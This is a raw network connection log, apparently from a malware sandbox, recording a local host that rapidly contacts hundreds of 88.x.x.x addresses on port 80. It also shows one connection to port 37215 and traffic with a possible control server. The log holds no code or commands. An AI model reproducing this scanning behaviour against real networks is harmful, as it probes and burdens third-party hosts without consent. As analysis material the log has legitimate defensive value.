Jul 20, 2024 23:01:01.772138119 CEST	51189	80	192.168.2.14	88.227.128.61
Jul 20, 2024 23:01:01.772167921 CEST	51189	80	192.168.2.14	88.250.101.98
Jul 20, 2024 23:01:01.772186995 CEST	51189	80	192.168.2.14	88.96.118.126
Jul 20, 2024 23:01:01.772217035 CEST	51189	80	192.168.2.14	88.198.159.217
Jul 20, 2024 23:01:01.772242069 CEST	51189	80	192.168.2.14	88.136.211.68
Jul 20, 2024 23:01:01.772263050 CEST	51189	80	192.168.2.14	88.90.229.82
Jul 20, 2024 23:01:01.772296906 CEST	51189	80	192.168.2.14	88.48.205.88
Jul 20, 2024 23:01:01.772296906 CEST	51189	80	192.168.2.14	88.154.139.67
Jul 20, 2024 23:01:01.772296906 CEST	51189	80	192.168.2.14	88.78.79.230
Jul 20, 2024 23:01:01.772313118 CEST	51189	80	192.168.2.14	88.107.137.43
Jul 20, 2024 23:01:01.772345066 CEST	51189	80	192.168.2.14	88.139.140.250
Jul 20, 2024 23:01:01.772356987 CEST	51189	80	192.168.2.14	88.193.181.65
Jul 20, 2024 23:01:01.772377014 CEST	51189	80	192.168.2.14	88.216.145.189
Jul 20, 2024 23:01:01.772408009 CEST	51189	80	192.168.2.14	88.205.0.223
Jul 20, 2024 23:01:01.772447109 CEST	51189	80	192.168.2.14	88.69.180.92
Jul 20, 2024 23:01:01.772449970 CEST	51189	80	192.168.2.14	88.122.134.59
Jul 20, 2024 23:01:01.772479057 CEST	51189	80	192.168.2.14	88.20.206.157
Jul 20, 2024 23:01:01.772507906 CEST	51189	80	192.168.2.14	88.24.81.58
Jul 20, 2024 23:01:01.772528887 CEST	51189	80	192.168.2.14	88.99.254.253
Jul 20, 2024 23:01:01.772547960 CEST	51189	80	192.168.2.14	88.236.76.24
Jul 20, 2024 23:01:01.772591114 CEST	51189	80	192.168.2.14	88.46.52.83
Jul 20, 2024 23:01:01.772600889 CEST	51189	80	192.168.2.14	88.206.27.242
Jul 20, 2024 23:01:01.772600889 CEST	51189	80	192.168.2.14	88.91.129.45
Jul 20, 2024 23:01:01.772629023 CEST	51189	80	192.168.2.14	88.238.152.198
Jul 20, 2024 23:01:01.772670031 CEST	51189	80	192.168.2.14	88.139.161.201
Jul 20, 2024 23:01:01.772716045 CEST	51189	80	192.168.2.14	88.254.81.94
Jul 20, 2024 23:01:01.772732973 CEST	51189	80	192.168.2.14	88.116.243.152
Jul 20, 2024 23:01:01.772742987 CEST	51189	80	192.168.2.14	88.236.102.72
Jul 20, 2024 23:01:01.772773981 CEST	51189	80	192.168.2.14	88.252.93.16
Jul 20, 2024 23:01:01.772784948 CEST	51189	80	192.168.2.14	88.156.64.96
Jul 20, 2024 23:01:01.772803068 CEST	51189	80	192.168.2.14	88.200.42.130
Jul 20, 2024 23:01:01.772874117 CEST	51189	80	192.168.2.14	88.77.208.175
Jul 20, 2024 23:01:01.772874117 CEST	51189	80	192.168.2.14	88.216.10.4
Jul 20, 2024 23:01:01.772902966 CEST	51189	80	192.168.2.14	88.240.131.159
Jul 20, 2024 23:01:01.772916079 CEST	51189	80	192.168.2.14	88.244.23.21
Jul 20, 2024 23:01:01.772921085 CEST	51189	80	192.168.2.14	88.137.178.19
Jul 20, 2024 23:01:01.772937059 CEST	51189	80	192.168.2.14	88.228.66.77
Jul 20, 2024 23:01:01.772981882 CEST	51189	80	192.168.2.14	88.215.217.240
Jul 20, 2024 23:01:01.772984982 CEST	51189	80	192.168.2.14	88.144.23.75
Jul 20, 2024 23:01:01.773042917 CEST	51189	80	192.168.2.14	88.220.15.56
Jul 20, 2024 23:01:01.773042917 CEST	51189	80	192.168.2.14	88.196.99.67
Jul 20, 2024 23:01:01.773057938 CEST	51189	80	192.168.2.14	88.64.207.165
Jul 20, 2024 23:01:01.773060083 CEST	51189	80	192.168.2.14	88.217.154.135
Jul 20, 2024 23:01:01.773081064 CEST	51189	80	192.168.2.14	88.232.39.154
Jul 20, 2024 23:01:01.773145914 CEST	51189	80	192.168.2.14	88.202.206.220
Jul 20, 2024 23:01:01.773158073 CEST	51189	80	192.168.2.14	88.225.164.144
Jul 20, 2024 23:01:01.773190022 CEST	51189	80	192.168.2.14	88.135.31.71
Jul 20, 2024 23:01:01.773237944 CEST	51189	80	192.168.2.14	88.56.57.178
Jul 20, 2024 23:01:01.773283958 CEST	51189	80	192.168.2.14	88.54.76.9
Jul 20, 2024 23:01:01.773284912 CEST	51189	80	192.168.2.14	88.176.168.193
Jul 20, 2024 23:01:01.773324013 CEST	51189	80	192.168.2.14	88.65.113.2
Jul 20, 2024 23:01:01.773345947 CEST	51189	80	192.168.2.14	88.212.58.197
Jul 20, 2024 23:01:01.773371935 CEST	51189	80	192.168.2.14	88.171.103.168
Jul 20, 2024 23:01:01.773407936 CEST	51189	80	192.168.2.14	88.197.55.252
Jul 20, 2024 23:01:01.773428917 CEST	51189	80	192.168.2.14	88.132.182.176
Jul 20, 2024 23:01:01.773447990 CEST	51189	80	192.168.2.14	88.190.124.179
Jul 20, 2024 23:01:01.773489952 CEST	51189	80	192.168.2.14	88.213.148.120
Jul 20, 2024 23:01:01.773509979 CEST	51189	80	192.168.2.14	88.125.66.213
Jul 20, 2024 23:01:01.773535967 CEST	51189	80	192.168.2.14	88.138.103.241
Jul 20, 2024 23:01:01.773571968 CEST	51189	80	192.168.2.14	88.28.50.53
Jul 20, 2024 23:01:01.773616076 CEST	51189	80	192.168.2.14	88.110.162.56
Jul 20, 2024 23:01:01.773616076 CEST	51189	80	192.168.2.14	88.50.41.153
Jul 20, 2024 23:01:01.773618937 CEST	51189	80	192.168.2.14	88.142.64.80
Jul 20, 2024 23:01:01.773618937 CEST	51189	80	192.168.2.14	88.240.221.53
Jul 20, 2024 23:01:01.773618937 CEST	51189	80	192.168.2.14	88.229.117.38
Jul 20, 2024 23:01:01.773618937 CEST	51189	80	192.168.2.14	88.229.43.244
Jul 20, 2024 23:01:01.773618937 CEST	51189	80	192.168.2.14	88.155.140.166
Jul 20, 2024 23:01:01.773648977 CEST	51189	80	192.168.2.14	88.201.128.120
Jul 20, 2024 23:01:01.773679972 CEST	51189	80	192.168.2.14	88.198.58.132
Jul 20, 2024 23:01:01.773725986 CEST	51189	80	192.168.2.14	88.218.13.142
Jul 20, 2024 23:01:01.773818970 CEST	51189	80	192.168.2.14	88.192.178.48
Jul 20, 2024 23:01:01.773833036 CEST	51189	80	192.168.2.14	88.192.159.101
Jul 20, 2024 23:01:01.773833036 CEST	51189	80	192.168.2.14	88.145.169.141
Jul 20, 2024 23:01:01.773849010 CEST	51189	80	192.168.2.14	88.40.37.149
Jul 20, 2024 23:01:01.773863077 CEST	51189	80	192.168.2.14	88.231.245.80
Jul 20, 2024 23:01:01.773868084 CEST	51189	80	192.168.2.14	88.32.127.243
Jul 20, 2024 23:01:01.773890018 CEST	51189	80	192.168.2.14	88.52.198.182
Jul 20, 2024 23:01:01.773930073 CEST	51189	80	192.168.2.14	88.147.141.135
Jul 20, 2024 23:01:01.773955107 CEST	51189	80	192.168.2.14	88.6.80.52
Jul 20, 2024 23:01:01.773983955 CEST	51189	80	192.168.2.14	88.41.193.251
Jul 20, 2024 23:01:01.774027109 CEST	51189	80	192.168.2.14	88.196.237.157
Jul 20, 2024 23:01:01.774111032 CEST	51189	80	192.168.2.14	88.60.36.72
Jul 20, 2024 23:01:01.774136066 CEST	51189	80	192.168.2.14	88.173.154.148
Jul 20, 2024 23:01:01.774168968 CEST	51189	80	192.168.2.14	88.197.62.246
Jul 20, 2024 23:01:01.774193048 CEST	51189	80	192.168.2.14	88.46.157.145
Jul 20, 2024 23:01:01.774214983 CEST	51189	80	192.168.2.14	88.191.93.155
Jul 20, 2024 23:01:01.774214983 CEST	51189	80	192.168.2.14	88.124.204.196
Jul 20, 2024 23:01:01.774266005 CEST	47230	37215	192.168.2.14	157.78.32.167
Jul 20, 2024 23:01:01.774286032 CEST	51189	80	192.168.2.14	88.41.74.88
Jul 20, 2024 23:01:01.774311066 CEST	51189	80	192.168.2.14	88.152.137.252
Jul 20, 2024 23:01:01.774358988 CEST	51189	80	192.168.2.14	88.155.76.113
Jul 20, 2024 23:01:01.774425983 CEST	51189	80	192.168.2.14	88.62.46.22
Jul 20, 2024 23:01:01.774425983 CEST	51189	80	192.168.2.14	88.204.119.180
Jul 20, 2024 23:01:01.774425983 CEST	51189	80	192.168.2.14	88.95.143.97
Jul 20, 2024 23:01:01.774455070 CEST	51189	80	192.168.2.14	88.194.157.168
Jul 20, 2024 23:01:01.774455070 CEST	51189	80	192.168.2.14	88.155.254.154
Jul 20, 2024 23:01:01.774455070 CEST	51189	80	192.168.2.14	88.187.192.173
Jul 20, 2024 23:01:01.774455070 CEST	51189	80	192.168.2.14	88.217.155.205
Jul 20, 2024 23:01:01.774522066 CEST	51189	80	192.168.2.14	88.178.180.239
Jul 20, 2024 23:01:01.774522066 CEST	51189	80	192.168.2.14	88.185.96.250
Jul 20, 2024 23:01:01.774544001 CEST	51189	80	192.168.2.14	88.164.95.47
Jul 20, 2024 23:01:01.774544001 CEST	51189	80	192.168.2.14	88.100.30.180
Jul 20, 2024 23:01:01.774544001 CEST	51189	80	192.168.2.14	88.0.57.123
Jul 20, 2024 23:01:01.774544001 CEST	51189	80	192.168.2.14	88.101.212.121
Jul 20, 2024 23:01:01.774622917 CEST	51189	80	192.168.2.14	88.5.187.161
Jul 20, 2024 23:01:01.774713993 CEST	51189	80	192.168.2.14	88.198.162.15
Jul 20, 2024 23:01:01.774714947 CEST	51189	80	192.168.2.14	88.84.45.147
Jul 20, 2024 23:01:01.774714947 CEST	51189	80	192.168.2.14	88.83.47.117
Jul 20, 2024 23:01:01.774714947 CEST	51189	80	192.168.2.14	88.193.65.132
Jul 20, 2024 23:01:01.774733067 CEST	51189	80	192.168.2.14	88.77.33.202
Jul 20, 2024 23:01:01.774928093 CEST	51189	80	192.168.2.14	88.186.184.22
Jul 20, 2024 23:01:01.774929047 CEST	51189	80	192.168.2.14	88.164.127.171
Jul 20, 2024 23:01:01.774929047 CEST	51189	80	192.168.2.14	88.180.95.65
Jul 20, 2024 23:01:01.775074005 CEST	51189	80	192.168.2.14	88.157.24.230
Jul 20, 2024 23:01:01.775074005 CEST	51189	80	192.168.2.14	88.147.149.200
Jul 20, 2024 23:01:01.775095940 CEST	51189	80	192.168.2.14	88.11.193.135
Jul 20, 2024 23:01:01.775095940 CEST	51189	80	192.168.2.14	88.147.227.82
Jul 20, 2024 23:01:01.775095940 CEST	51189	80	192.168.2.14	88.42.97.204
Jul 20, 2024 23:01:01.775146008 CEST	51189	80	192.168.2.14	88.70.117.250
Jul 20, 2024 23:01:01.775146008 CEST	51189	80	192.168.2.14	88.32.86.210
Jul 20, 2024 23:01:01.775146008 CEST	51189	80	192.168.2.14	88.89.159.77
Jul 20, 2024 23:01:01.775146008 CEST	51189	80	192.168.2.14	88.232.61.171
Jul 20, 2024 23:01:01.775146008 CEST	51189	80	192.168.2.14	88.45.154.104
Jul 20, 2024 23:01:01.775286913 CEST	51189	80	192.168.2.14	88.176.163.207
Jul 20, 2024 23:01:01.775286913 CEST	51189	80	192.168.2.14	88.150.235.15
Jul 20, 2024 23:01:01.775332928 CEST	51189	80	192.168.2.14	88.250.40.212
Jul 20, 2024 23:01:01.775430918 CEST	51189	80	192.168.2.14	88.144.22.81
Jul 20, 2024 23:01:01.775430918 CEST	51189	80	192.168.2.14	88.2.47.84
Jul 20, 2024 23:01:01.775463104 CEST	51189	80	192.168.2.14	88.184.61.150
Jul 20, 2024 23:01:01.775463104 CEST	51189	80	192.168.2.14	88.196.177.136
Jul 20, 2024 23:01:01.775463104 CEST	51189	80	192.168.2.14	88.109.50.101
Jul 20, 2024 23:01:01.775463104 CEST	51189	80	192.168.2.14	88.80.145.213
Jul 20, 2024 23:01:01.775463104 CEST	51189	80	192.168.2.14	88.184.86.63
Jul 20, 2024 23:01:01.775506020 CEST	2466	37548	15.235.203.214	192.168.2.14
Jul 20, 2024 23:01:01.775661945 CEST	51189	80	192.168.2.14	88.185.29.199
Jul 20, 2024 23:01:01.775820971 CEST	51189	80	192.168.2.14	88.166.196.137
Jul 20, 2024 23:01:01.776235104 CEST	51189	80	192.168.2.14	88.175.246.195
Jul 20, 2024 23:01:01.776499987 CEST	80	51189	88.161.150.191	192.168.2.14
Jul 20, 2024 23:01:01.776515961 CEST	80	51189	88.229.55.135	192.168.2.14
Jul 20, 2024 23:01:01.776525974 CEST	80	51189	88.155.163.139	192.168.2.14
Jul 20, 2024 23:01:01.776535034 CEST	80	51189	88.14.171.132	192.168.2.14
Jul 20, 2024 23:01:01.776545048 CEST	80	51189	88.103.102.179	192.168.2.14
Jul 20, 2024 23:01:01.776551008 CEST	51189	80	192.168.2.14	88.229.55.135
Jul 20, 2024 23:01:01.776554108 CEST	80	51189	88.105.109.160	192.168.2.14
Jul 20, 2024 23:01:01.776557922 CEST	51189	80	192.168.2.14	88.155.163.139
Jul 20, 2024 23:01:01.776562929 CEST	80	51189	88.22.81.89	192.168.2.14
Jul 20, 2024 23:01:01.776586056 CEST	80	51189	88.28.160.165	192.168.2.14
Jul 20, 2024 23:01:01.776606083 CEST	51189	80	192.168.2.14	88.22.81.89
Jul 20, 2024 23:01:01.776684999 CEST	51189	80	192.168.2.14	88.161.150.191
Jul 20, 2024 23:01:01.776684999 CEST	51189	80	192.168.2.14	88.105.109.160
Jul 20, 2024 23:01:01.776732922 CEST	80	51189	88.235.97.216	192.168.2.14
Jul 20, 2024 23:01:01.776741982 CEST	80	51189	88.248.106.214	192.168.2.14
Jul 20, 2024 23:01:01.776751041 CEST	80	51189	88.133.23.36	192.168.2.14
Jul 20, 2024 23:01:01.776772022 CEST	51189	80	192.168.2.14	88.248.106.214
Jul 20, 2024 23:01:01.776858091 CEST	80	51189	88.155.104.179	192.168.2.14
Jul 20, 2024 23:01:01.776868105 CEST	80	51189	88.101.188.49	192.168.2.14
Jul 20, 2024 23:01:01.776876926 CEST	80	51189	88.217.70.97	192.168.2.14
Jul 20, 2024 23:01:01.776902914 CEST	51189	80	192.168.2.14	88.103.102.179
Jul 20, 2024 23:01:01.776902914 CEST	51189	80	192.168.2.14	88.28.160.165
Jul 20, 2024 23:01:01.776902914 CEST	51189	80	192.168.2.14	88.235.97.216
Jul 20, 2024 23:01:01.776978016 CEST	80	51189	88.105.31.235	192.168.2.14
Jul 20, 2024 23:01:01.776995897 CEST	80	51189	88.224.228.131	192.168.2.14
Jul 20, 2024 23:01:01.777004957 CEST	80	51189	88.155.53.113	192.168.2.14
Jul 20, 2024 23:01:01.777013063 CEST	80	51189	88.134.155.248	192.168.2.14
Jul 20, 2024 23:01:01.777035952 CEST	51189	80	192.168.2.14	88.155.53.113
Jul 20, 2024 23:01:01.777035952 CEST	51189	80	192.168.2.14	88.134.155.248
Jul 20, 2024 23:01:01.777697086 CEST	51189	80	192.168.2.14	88.155.104.179
Jul 20, 2024 23:01:01.777702093 CEST	80	51189	88.146.120.92	192.168.2.14
Jul 20, 2024 23:01:01.777717113 CEST	80	51189	88.101.75.49	192.168.2.14
Jul 20, 2024 23:01:01.777735949 CEST	51189	80	192.168.2.14	88.146.120.92
Jul 20, 2024 23:01:01.777757883 CEST	51189	80	192.168.2.14	88.101.75.49
Jul 20, 2024 23:01:01.777904987 CEST	80	51189	88.98.231.244	192.168.2.14
Jul 20, 2024 23:01:01.777915001 CEST	80	51189	88.243.49.12	192.168.2.14
Jul 20, 2024 23:01:01.777924061 CEST	80	51189	88.190.107.86	192.168.2.14
Jul 20, 2024 23:01:01.777932882 CEST	80	51189	88.183.20.111	192.168.2.14
Jul 20, 2024 23:01:01.777941942 CEST	80	51189	88.102.141.240	192.168.2.14
Jul 20, 2024 23:01:01.777951002 CEST	80	51189	88.227.128.61	192.168.2.14
Jul 20, 2024 23:01:01.777951002 CEST	51189	80	192.168.2.14	88.243.49.12
Jul 20, 2024 23:01:01.777951002 CEST	51189	80	192.168.2.14	88.190.107.86
Jul 20, 2024 23:01:01.777956009 CEST	80	51189	88.250.101.98	192.168.2.14
Jul 20, 2024 23:01:01.777964115 CEST	80	51189	88.96.118.126	192.168.2.14
Jul 20, 2024 23:01:01.777971983 CEST	80	51189	88.198.159.217	192.168.2.14
Jul 20, 2024 23:01:01.777981043 CEST	51189	80	192.168.2.14	88.227.128.61
Jul 20, 2024 23:01:01.777981043 CEST	80	51189	88.136.211.68	192.168.2.14
Jul 20, 2024 23:01:01.778001070 CEST	80	51189	88.90.229.82	192.168.2.14
Jul 20, 2024 23:01:01.778008938 CEST	80	51189	88.48.205.88	192.168.2.14
Jul 20, 2024 23:01:01.778009892 CEST	51189	80	192.168.2.14	88.136.211.68
Jul 20, 2024 23:01:01.778034925 CEST	80	51189	88.107.137.43	192.168.2.14
Jul 20, 2024 23:01:01.778039932 CEST	51189	80	192.168.2.14	88.90.229.82
Jul 20, 2024 23:01:01.778044939 CEST	80	51189	88.154.139.67	192.168.2.14
Jul 20, 2024 23:01:01.778049946 CEST	51189	80	192.168.2.14	88.105.31.235
Jul 20, 2024 23:01:01.778049946 CEST	51189	80	192.168.2.14	88.183.20.111
Jul 20, 2024 23:01:01.778049946 CEST	51189	80	192.168.2.14	88.250.101.98
Jul 20, 2024 23:01:01.778049946 CEST	51189	80	192.168.2.14	88.198.159.217
Jul 20, 2024 23:01:01.778059006 CEST	51189	80	192.168.2.14	88.102.141.240
Jul 20, 2024 23:01:01.778070927 CEST	80	51189	88.139.140.250	192.168.2.14
Jul 20, 2024 23:01:01.778079987 CEST	80	51189	88.216.145.189	192.168.2.14
Jul 20, 2024 23:01:01.778103113 CEST	80	51189	88.78.79.230	192.168.2.14
Jul 20, 2024 23:01:01.778104067 CEST	51189	80	192.168.2.14	88.139.140.250
Jul 20, 2024 23:01:01.778111935 CEST	80	51189	88.205.0.223	192.168.2.14
Jul 20, 2024 23:01:01.778120041 CEST	80	51189	88.193.181.65	192.168.2.14
Jul 20, 2024 23:01:01.778121948 CEST	51189	80	192.168.2.14	88.107.137.43
Jul 20, 2024 23:01:01.778121948 CEST	51189	80	192.168.2.14	88.216.145.189
Jul 20, 2024 23:01:01.778129101 CEST	80	51189	88.69.180.92	192.168.2.14
Jul 20, 2024 23:01:01.778136969 CEST	80	51189	88.122.134.59	192.168.2.14
Jul 20, 2024 23:01:01.778146029 CEST	80	51189	88.24.81.58	192.168.2.14
Jul 20, 2024 23:01:01.778162956 CEST	80	51189	88.99.254.253	192.168.2.14
Jul 20, 2024 23:01:01.778172016 CEST	80	51189	88.236.76.24	192.168.2.14
Jul 20, 2024 23:01:01.778186083 CEST	51189	80	192.168.2.14	88.24.81.58
Jul 20, 2024 23:01:01.778192997 CEST	51189	80	192.168.2.14	88.14.171.132
Jul 20, 2024 23:01:01.778192997 CEST	51189	80	192.168.2.14	88.133.23.36
Jul 20, 2024 23:01:01.778192997 CEST	51189	80	192.168.2.14	88.101.188.49
Jul 20, 2024 23:01:01.778192997 CEST	51189	80	192.168.2.14	88.217.70.97
Jul 20, 2024 23:01:01.778192997 CEST	51189	80	192.168.2.14	88.224.228.131
Jul 20, 2024 23:01:01.778192997 CEST	51189	80	192.168.2.14	88.98.231.244
Jul 20, 2024 23:01:01.778202057 CEST	80	51189	88.46.52.83	192.168.2.14
Jul 20, 2024 23:01:01.778203011 CEST	51189	80	192.168.2.14	88.236.76.24
Jul 20, 2024 23:01:01.778211117 CEST	80	51189	88.206.27.242	192.168.2.14
Jul 20, 2024 23:01:01.778264999 CEST	37548	2466	192.168.2.14	15.235.203.214
Jul 20, 2024 23:01:01.778310061 CEST	80	51189	88.20.206.157	192.168.2.14
Jul 20, 2024 23:01:01.778316975 CEST	51189	80	192.168.2.14	88.206.27.242
Jul 20, 2024 23:01:01.778321981 CEST	80	51189	88.91.129.45	192.168.2.14
Jul 20, 2024 23:01:01.778331041 CEST	80	51189	88.238.152.198	192.168.2.14
Jul 20, 2024 23:01:01.778354883 CEST	51189	80	192.168.2.14	88.205.0.223
Jul 20, 2024 23:01:01.778354883 CEST	51189	80	192.168.2.14	88.69.180.92
Jul 20, 2024 23:01:01.778354883 CEST	51189	80	192.168.2.14	88.20.206.157
Jul 20, 2024 23:01:01.778382063 CEST	51189	80	192.168.2.14	88.193.181.65
Jul 20, 2024 23:01:01.778382063 CEST	51189	80	192.168.2.14	88.122.134.59
Jul 20, 2024 23:01:01.778382063 CEST	51189	80	192.168.2.14	88.46.52.83
Jul 20, 2024 23:01:01.778455019 CEST	51189	80	192.168.2.14	88.99.254.253
Jul 20, 2024 23:01:01.778455019 CEST	51189	80	192.168.2.14	88.238.152.198
Jul 20, 2024 23:01:01.778515100 CEST	51189	80	192.168.2.14	88.48.205.88
Jul 20, 2024 23:01:01.778516054 CEST	51189	80	192.168.2.14	88.154.139.67
Jul 20, 2024 23:01:01.778516054 CEST	51189	80	192.168.2.14	88.78.79.230
Jul 20, 2024 23:01:01.778562069 CEST	51189	80	192.168.2.14	88.91.129.45
Jul 20, 2024 23:01:01.778671026 CEST	80	51189	88.139.161.201	192.168.2.14
Jul 20, 2024 23:01:01.778681993 CEST	80	51189	88.254.81.94	192.168.2.14
Jul 20, 2024 23:01:01.778691053 CEST	80	51189	88.236.102.72	192.168.2.14
Jul 20, 2024 23:01:01.778698921 CEST	80	51189	88.116.243.152	192.168.2.14
Jul 20, 2024 23:01:01.778748989 CEST	80	51189	88.156.64.96	192.168.2.14
Jul 20, 2024 23:01:01.778759003 CEST	80	51189	88.252.93.16	192.168.2.14
Jul 20, 2024 23:01:01.778767109 CEST	80	51189	88.200.42.130	192.168.2.14
Jul 20, 2024 23:01:01.778775930 CEST	80	51189	88.77.208.175	192.168.2.14
Jul 20, 2024 23:01:01.778784990 CEST	80	51189	88.216.10.4	192.168.2.14
Jul 20, 2024 23:01:01.778796911 CEST	51189	80	192.168.2.14	88.156.64.96
Jul 20, 2024 23:01:01.778805017 CEST	80	51189	88.240.131.159	192.168.2.14
Jul 20, 2024 23:01:01.778815031 CEST	80	51189	88.244.23.21	192.168.2.14
Jul 20, 2024 23:01:01.778832912 CEST	80	51189	88.137.178.19	192.168.2.14
Jul 20, 2024 23:01:01.778841019 CEST	80	51189	88.228.66.77	192.168.2.14
Jul 20, 2024 23:01:01.778846979 CEST	51189	80	192.168.2.14	88.244.23.21
Jul 20, 2024 23:01:01.778850079 CEST	80	51189	88.215.217.240	192.168.2.14
Jul 20, 2024 23:01:01.778860092 CEST	80	51189	88.144.23.75	192.168.2.14
Jul 20, 2024 23:01:01.778860092 CEST	51189	80	192.168.2.14	88.137.178.19
Jul 20, 2024 23:01:01.778870106 CEST	80	51189	88.220.15.56	192.168.2.14
Jul 20, 2024 23:01:01.778878927 CEST	80	51189	88.64.207.165	192.168.2.14
Jul 20, 2024 23:01:01.778887987 CEST	80	51189	88.196.99.67	192.168.2.14
Jul 20, 2024 23:01:01.778888941 CEST	51189	80	192.168.2.14	88.144.23.75
Jul 20, 2024 23:01:01.778897047 CEST	80	51189	88.232.39.154	192.168.2.14
Jul 20, 2024 23:01:01.778906107 CEST	80	51189	88.217.154.135	192.168.2.14
Jul 20, 2024 23:01:01.778914928 CEST	80	51189	88.202.206.220	192.168.2.14
Jul 20, 2024 23:01:01.778923988 CEST	80	51189	88.225.164.144	192.168.2.14
Jul 20, 2024 23:01:01.778930902 CEST	51189	80	192.168.2.14	88.232.39.154
Jul 20, 2024 23:01:01.778930902 CEST	51189	80	192.168.2.14	88.116.243.152
Jul 20, 2024 23:01:01.778934002 CEST	80	51189	88.135.31.71	192.168.2.14
Jul 20, 2024 23:01:01.778942108 CEST	80	51189	88.56.57.178	192.168.2.14
Jul 20, 2024 23:01:01.778951883 CEST	80	51189	88.54.76.9	192.168.2.14
Jul 20, 2024 23:01:01.778954983 CEST	51189	80	192.168.2.14	88.64.207.165
Jul 20, 2024 23:01:01.778961897 CEST	80	51189	88.176.168.193	192.168.2.14
Jul 20, 2024 23:01:01.779016972 CEST	51189	80	192.168.2.14	88.217.154.135
Jul 20, 2024 23:01:01.779016972 CEST	51189	80	192.168.2.14	88.225.164.144
Jul 20, 2024 23:01:01.779016972 CEST	51189	80	192.168.2.14	88.135.31.71
Jul 20, 2024 23:01:01.779083967 CEST	51189	80	192.168.2.14	88.215.217.240
Jul 20, 2024 23:01:01.779083967 CEST	51189	80	192.168.2.14	88.220.15.56
Jul 20, 2024 23:01:01.779083967 CEST	51189	80	192.168.2.14	88.196.99.67
Jul 20, 2024 23:01:01.779123068 CEST	51189	80	192.168.2.14	88.202.206.220
Jul 20, 2024 23:01:01.779146910 CEST	51189	80	192.168.2.14	88.254.81.94
Jul 20, 2024 23:01:01.779146910 CEST	51189	80	192.168.2.14	88.200.42.130
Jul 20, 2024 23:01:01.779146910 CEST	51189	80	192.168.2.14	88.77.208.175
Jul 20, 2024 23:01:01.779146910 CEST	51189	80	192.168.2.14	88.216.10.4
Jul 20, 2024 23:01:01.779146910 CEST	51189	80	192.168.2.14	88.228.66.77
Jul 20, 2024 23:01:01.779400110 CEST	51189	80	192.168.2.14	88.96.118.126
Jul 20, 2024 23:01:01.779400110 CEST	51189	80	192.168.2.14	88.139.161.201
Jul 20, 2024 23:01:01.779400110 CEST	51189	80	192.168.2.14	88.236.102.72
Jul 20, 2024 23:01:01.779400110 CEST	51189	80	192.168.2.14	88.252.93.16
Jul 20, 2024 23:01:01.779400110 CEST	51189	80	192.168.2.14	88.240.131.159
Jul 20, 2024 23:01:01.779400110 CEST	51189	80	192.168.2.14	88.56.57.178
Jul 20, 2024 23:01:01.779400110 CEST	51189	80	192.168.2.14	88.54.76.9
Jul 20, 2024 23:01:01.779643059 CEST	51189	80	192.168.2.14	88.176.168.193
Jul 20, 2024 23:01:01.779697895 CEST	80	51189	88.65.113.2	192.168.2.14
Jul 20, 2024 23:01:01.779707909 CEST	80	51189	88.212.58.197	192.168.2.14
Jul 20, 2024 23:01:01.779716015 CEST	80	51189	88.171.103.168	192.168.2.14
Jul 20, 2024 23:01:01.779731989 CEST	51189	80	192.168.2.14	88.65.113.2
Jul 20, 2024 23:01:01.779741049 CEST	51189	80	192.168.2.14	88.212.58.197
Jul 20, 2024 23:01:01.779747009 CEST	51189	80	192.168.2.14	88.171.103.168
Jul 20, 2024 23:01:01.779792070 CEST	80	51189	88.197.55.252	192.168.2.14
Jul 20, 2024 23:01:01.779800892 CEST	80	51189	88.132.182.176	192.168.2.14
Jul 20, 2024 23:01:01.779809952 CEST	80	51189	88.190.124.179	192.168.2.14
Jul 20, 2024 23:01:01.779819012 CEST	80	51189	88.213.148.120	192.168.2.14
Jul 20, 2024 23:01:01.779824018 CEST	51189	80	192.168.2.14	88.197.55.252
Jul 20, 2024 23:01:01.779828072 CEST	80	51189	88.125.66.213	192.168.2.14
Jul 20, 2024 23:01:01.779846907 CEST	51189	80	192.168.2.14	88.132.182.176
Jul 20, 2024 23:01:01.779848099 CEST	80	51189	88.138.103.241	192.168.2.14
Jul 20, 2024 23:01:01.779846907 CEST	51189	80	192.168.2.14	88.213.148.120
Jul 20, 2024 23:01:01.779849052 CEST	51189	80	192.168.2.14	88.190.124.179
Jul 20, 2024 23:01:01.779865026 CEST	80	51189	88.28.50.53	192.168.2.14
Jul 20, 2024 23:01:01.779871941 CEST	51189	80	192.168.2.14	88.125.66.213
Jul 20, 2024 23:01:01.779876947 CEST	80	51189	88.142.64.80	192.168.2.14
Jul 20, 2024 23:01:01.779885054 CEST	80	51189	88.110.162.56	192.168.2.14
Jul 20, 2024 23:01:01.779886007 CEST	51189	80	192.168.2.14	88.28.50.53
Jul 20, 2024 23:01:01.779891014 CEST	51189	80	192.168.2.14	88.138.103.241
Jul 20, 2024 23:01:01.779894114 CEST	80	51189	88.240.221.53	192.168.2.14
Jul 20, 2024 23:01:01.779902935 CEST	80	51189	88.201.128.120	192.168.2.14
Jul 20, 2024 23:01:01.779906988 CEST	51189	80	192.168.2.14	88.110.162.56
Jul 20, 2024 23:01:01.779911995 CEST	80	51189	88.229.117.38	192.168.2.14
Jul 20, 2024 23:01:01.779920101 CEST	80	51189	88.198.58.132	192.168.2.14
Jul 20, 2024 23:01:01.779928923 CEST	80	51189	88.218.13.142	192.168.2.14
Jul 20, 2024 23:01:01.779937983 CEST	80	51189	88.50.41.153	192.168.2.14
Jul 20, 2024 23:01:01.779947042 CEST	80	51189	88.192.178.48	192.168.2.14
Jul 20, 2024 23:01:01.779954910 CEST	80	51189	88.192.159.101	192.168.2.14
Jul 20, 2024 23:01:01.779956102 CEST	51189	80	192.168.2.14	88.198.58.132
Jul 20, 2024 23:01:01.779963970 CEST	80	51189	88.40.37.149	192.168.2.14
Jul 20, 2024 23:01:01.779968023 CEST	51189	80	192.168.2.14	88.218.13.142
Jul 20, 2024 23:01:01.779973984 CEST	80	51189	88.231.245.80	192.168.2.14
Jul 20, 2024 23:01:01.779988050 CEST	51189	80	192.168.2.14	88.50.41.153
Jul 20, 2024 23:01:01.779989958 CEST	80	51189	88.145.169.141	192.168.2.14
Jul 20, 2024 23:01:01.779999971 CEST	80	51189	88.229.43.244	192.168.2.14
Jul 20, 2024 23:01:01.780008078 CEST	51189	80	192.168.2.14	88.40.37.149
Jul 20, 2024 23:01:01.780009031 CEST	80	51189	88.52.198.182	192.168.2.14
Jul 20, 2024 23:01:01.780018091 CEST	80	51189	88.41.193.251	192.168.2.14
Jul 20, 2024 23:01:01.780028105 CEST	80	51189	88.196.237.157	192.168.2.14
Jul 20, 2024 23:01:01.780036926 CEST	80	51189	88.32.127.243	192.168.2.14
Jul 20, 2024 23:01:01.780038118 CEST	51189	80	192.168.2.14	88.52.198.182
Jul 20, 2024 23:01:01.780046940 CEST	80	51189	88.6.80.52	192.168.2.14
